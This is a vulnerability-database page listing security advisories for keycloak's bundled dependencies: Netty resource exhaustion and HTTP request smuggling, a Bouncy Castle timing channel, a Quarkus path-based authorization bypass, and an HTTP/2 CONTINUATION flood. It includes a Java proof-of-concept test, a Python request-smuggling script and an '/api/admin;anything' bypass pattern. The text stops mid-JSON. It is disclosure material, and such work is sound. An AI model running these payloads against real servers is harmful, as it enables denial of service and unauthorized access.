Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package keycloak version 26.4.10-r0 fixes 26 vulnerabilities: CVE-2026-42579, CVE-2026-42587, CVE-2026-42583, CVE-2026-42584, CVE-2026-33871...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.10-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"26.4.10-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package keycloak version 26.4.10-r0 fixes 26 vulnerabilities: CVE-2026-42579, CVE-2026-42587, CVE-2026-42583, CVE-2026-42584, CVE-2026-33871...",
"id": "CLEANSTART-2026-QW10501",
"modified": "2026-07-30T09:39:30Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in keycloak 26.4.10-r0",
"upstream": [
"CVE-2026-42579",
"CVE-2026-42587",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-33871",
"CVE-2026-33870",
"CVE-2026-39852",
"CVE-2026-1002",
"CVE-2026-5598",
"CVE-2026-0636",
"CVE-2026-5588",
"CVE-2026-42198",
"ghsa-cm33-6792-r9fm",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-57rv-r2g8-2cj3",
"ghsa-w9fj-cfpg-grvv",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-rc95-pcm8-65v9",
"ghsa-cphf-4846-3xx9",
"ghsa-3g76-f9xq-8vp6",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"ghsa-wg6q-6289-32hp",
"ghsa-98qh-xjc8-98pq",
"ghsa-72hv-8253-57qq"
]
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-P93R-85WP-75V3
Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-06-19 15:20Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.
This issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.
This issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.
Fixed versions: 1.80.2, 1.81.1, 1.84
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.71"
},
{
"fixed": "1.80.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.81"
},
{
"fixed": "1.81.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.82"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5598"
],
"database_specific": {
"cwe_ids": [
"CWE-385"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:25:24Z",
"nvd_published_at": "2026-04-15T10:16:49Z",
"severity": "HIGH"
},
"details": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.\n\nThis issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.\n\nThis issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.\n\nFixed versions: 1.80.2, 1.81.1, 1.84",
"id": "GHSA-p93r-85wp-75v3",
"modified": "2026-06-19T15:20:41Z",
"published": "2026-04-17T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905598"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-5598"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle Has Covert Timing Channel Vulnerability"
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-RC95-PCM8-65V9
Vulnerability from github – Published: 2026-05-04 17:20 – Updated: 2026-07-28 22:22Quarkus version 3.32.4 is vulnerable to an authorization bypass issue (GHSL-2026-099), in which semicolons (matrix parameters) in HTTP requests can be used to bypass security constraints, potentially allowing unauthorized access to protected resources.
Unauthenticated or lower-privileged users can bypass HTTP path-based authorization policies by appending a semicolon (;) and arbitrary text to the request URL. The vulnerability arises from a path-normalization inconsistency: Quarkus's security layer performs authorization checks on the raw URL path (which preserves matrix parameters), whereas RESTEasy Reactive's routing layer strips matrix parameters before matching endpoints. This allows requests like /api/admin;anything to bypass policies protecting /api/admin while still routing to the protected endpoint.
Impact
This issue may lead to Authentication/Authorization bypasses.
Credits
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx-http"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.27.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx-http"
},
"ranges": [
{
"events": [
{
"introduced": "3.30.0"
},
{
"fixed": "3.33.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx-http"
},
"ranges": [
{
"events": [
{
"introduced": "3.34.0"
},
{
"fixed": "3.35.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39852"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-551",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T17:20:20Z",
"nvd_published_at": "2026-05-05T21:16:22Z",
"severity": "HIGH"
},
"details": "Quarkus version 3.32.4 is vulnerable to an authorization bypass issue (GHSL-2026-099), in which semicolons (matrix parameters) in HTTP requests can be used to bypass security constraints, potentially allowing unauthorized access to protected resources.\n\nUnauthenticated or lower-privileged users can bypass HTTP path-based authorization policies by appending a semicolon (`;`) and arbitrary text to the request URL. The vulnerability arises from a path-normalization inconsistency: Quarkus\u0027s [security layer](https://quarkus.io/guides/security-authorize-web-endpoints-reference) performs authorization checks on the raw URL path (which preserves matrix parameters), whereas RESTEasy Reactive\u0027s routing layer strips matrix parameters before matching endpoints. This allows requests like `/api/admin;anything` to bypass policies protecting `/api/admin` while still routing to the protected endpoint.\n\n\n### Impact\n\nThis issue may lead to Authentication/Authorization bypasses.\n\n### Credits\n\nThis issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter St\u00f6ckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).",
"id": "GHSA-rc95-pcm8-65v9",
"modified": "2026-07-28T22:22:11Z",
"published": "2026-05-04T17:20:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-rc95-pcm8-65v9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11720"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11721"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13631"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457819"
},
{
"type": "PACKAGE",
"url": "https://github.com/quarkusio/quarkus"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39852.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Quarkus has Authentication/Authorization bypasses"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
